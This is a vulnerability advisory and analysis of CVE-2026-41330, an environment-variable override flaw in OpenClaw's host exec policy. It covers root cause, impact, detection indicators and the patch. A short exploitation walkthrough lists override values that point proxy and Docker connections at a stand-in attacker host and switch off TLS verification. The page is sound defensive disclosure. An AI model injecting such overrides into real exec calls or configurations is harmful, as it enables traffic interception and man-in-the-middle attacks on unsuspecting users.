CVE-2026-41330: 
OpenClaw (formerly Moltbot or Clawdbot) vulnerability analysis and mitigation

CVE-2026-41330 is an environment variable override vulnerability in OpenClaw's host exec policy that fails to properly enforce proxy, TLS, Docker, and Git TLS security controls. Affecting all OpenClaw (npm) versions up to and including 2026.3.28, the flaw allows a low-privileged local attacker to override critical environment variables — such as HTTPS_PROXY, NODE_TLS_REJECT_UNAUTHORIZED, DOCKER_HOST, and GIT_SSL_NO_VERIFY — to circumvent configured security boundaries. It was disclosed on April 20–21, 2026, with a fix committed on March 31, 2026 and released in version 2026.3.31. The CVSS v3.1 base score is 4.4 (Medium), and the CVSS v4.0 base score is 2.0 (Low) (GitHub Advisory, Feedly).

The root cause is classified as CWE-453 (Insecure Default Variable Initialization): OpenClaw's host exec security policy did not include proxy-related (HTTP_PROXY, HTTPS_PROXY, ALL_PROXY, NO_PROXY), TLS-related (NODE_TLS_REJECT_UNAUTHORIZED, NODE_EXTRA_CA_CERTS, SSL_CERT_FILE, SSL_CERT_DIR, REQUESTS_CA_BUNDLE, CURL_CA_BUNDLE), Docker-related (DOCKER_HOST, DOCKER_TLS_VERIFY, DOCKER_CERT_PATH), and Git TLS-related (GIT_SSL_NO_VERIFY, GIT_SSL_CAINFO, GIT_SSL_CAPATH) variables in its blocklist for override operations. A local attacker with low privileges could supply these variables as overrides in exec calls or skill configurations, causing request-scoped commands to silently reroute outbound traffic or trust attacker-supplied certificate settings. The attack vector is local, requires low privileges, and no user interaction (GitHub Commit, GitHub Advisory).

Successful exploitation allows a low-privileged local attacker to intercept or reroute outbound network communications by overriding proxy settings, disable TLS certificate validation to enable man-in-the-middle attacks, redirect Docker daemon connections to attacker-controlled endpoints, and suppress Git TLS enforcement. The confidentiality and integrity impacts are rated low (no availability impact), as the attacker can read or tamper with data in transit but cannot directly crash the system. The vulnerability is scoped to the local system and does not affect subsidiary components (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.011% (0.000110), indicating very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires local access and low privileges, significantly limiting the attacker pool (Feedly, GitHub Advisory).

1. Gain local access: Obtain a low-privileged local account or code execution context on a system running OpenClaw ≤ 2026.3.28 (e.g., via a compromised skill or workspace).
2. Identify exec or skill configuration entry points: Locate OpenClaw exec tool calls or skill configuration files (openclaw metadata with requires.env) that accept environment variable overrides.
3. Inject malicious environment variable overrides: Supply blocked-but-unenforced variables such as HTTPS_PROXY=http://attacker.example:8080, NODE_TLS_REJECT_UNAUTHORIZED=0, or DOCKER_HOST=tcp://attacker.example:2376 as override keys in an exec call or skill config.
4. Trigger exec execution: Cause OpenClaw to execute a host command (e.g., echo ok) with the injected environment, which the unpatched policy passes through without blocking.
5. Intercept or manipulate traffic: With proxy variables set to an attacker-controlled server, outbound HTTP/HTTPS traffic from the exec'd command is rerouted; with TLS verification disabled, certificate validation is bypassed, enabling man-in-the-middle interception of sensitive data (GitHub Commit, GitHub Advisory).

• Logs: OpenClaw exec logs showing environment variables such as HTTPS_PROXY, NODE_TLS_REJECT_UNAUTHORIZED, DOCKER_HOST, GIT_SSL_NO_VERIFY, or DOCKER_TLS_VERIFY being passed as overrides to host exec commands.
• Network: Unexpected outbound HTTP/HTTPS connections from the OpenClaw process to non-standard proxy endpoints; TLS connections to endpoints with untrusted or self-signed certificates that succeed without error.
• File System: Skill configuration files (openclaw metadata) referencing HTTPS_PROXY, NODE_TLS_REJECT_UNAUTHORIZED, DOCKER_HOST, or similar variables in requires.env sections.
• Process: Child processes spawned by OpenClaw with environment variables containing attacker-controlled proxy or certificate paths visible via /proc/<pid>/environ (Linux) or process inspection tools.

Update OpenClaw (npm package) to version 2026.3.31 or later, which includes the fix commit 4d912e0 that adds proxy, TLS, Docker, and Git TLS variables to the override blocklist in host-env-security-policy.json and the corresponding Swift policy file. As a workaround prior to patching, restrict local system access to trusted users only and apply the principle of least privilege to minimize the impact of any compromised local account. Monitor environment variable usage in OpenClaw exec calls for suspicious overrides of proxy, TLS, Docker, and Git configurations (GitHub Advisory, GitHub Commit).

The vulnerability was reported by security researcher @AntAISecurityLab and acknowledged by the OpenClaw maintainers, who accepted the fix prior to public disclosure. The GitHub Security Advisory (GHSA-9gp8-hjxr-6f34) was published by maintainer steipete and notes the fix was already present in the released version 2026.3.31 at time of advisory publication. No significant broader media coverage or social media discussion has been observed beyond standard CVE aggregator indexing (GitHub Advisory).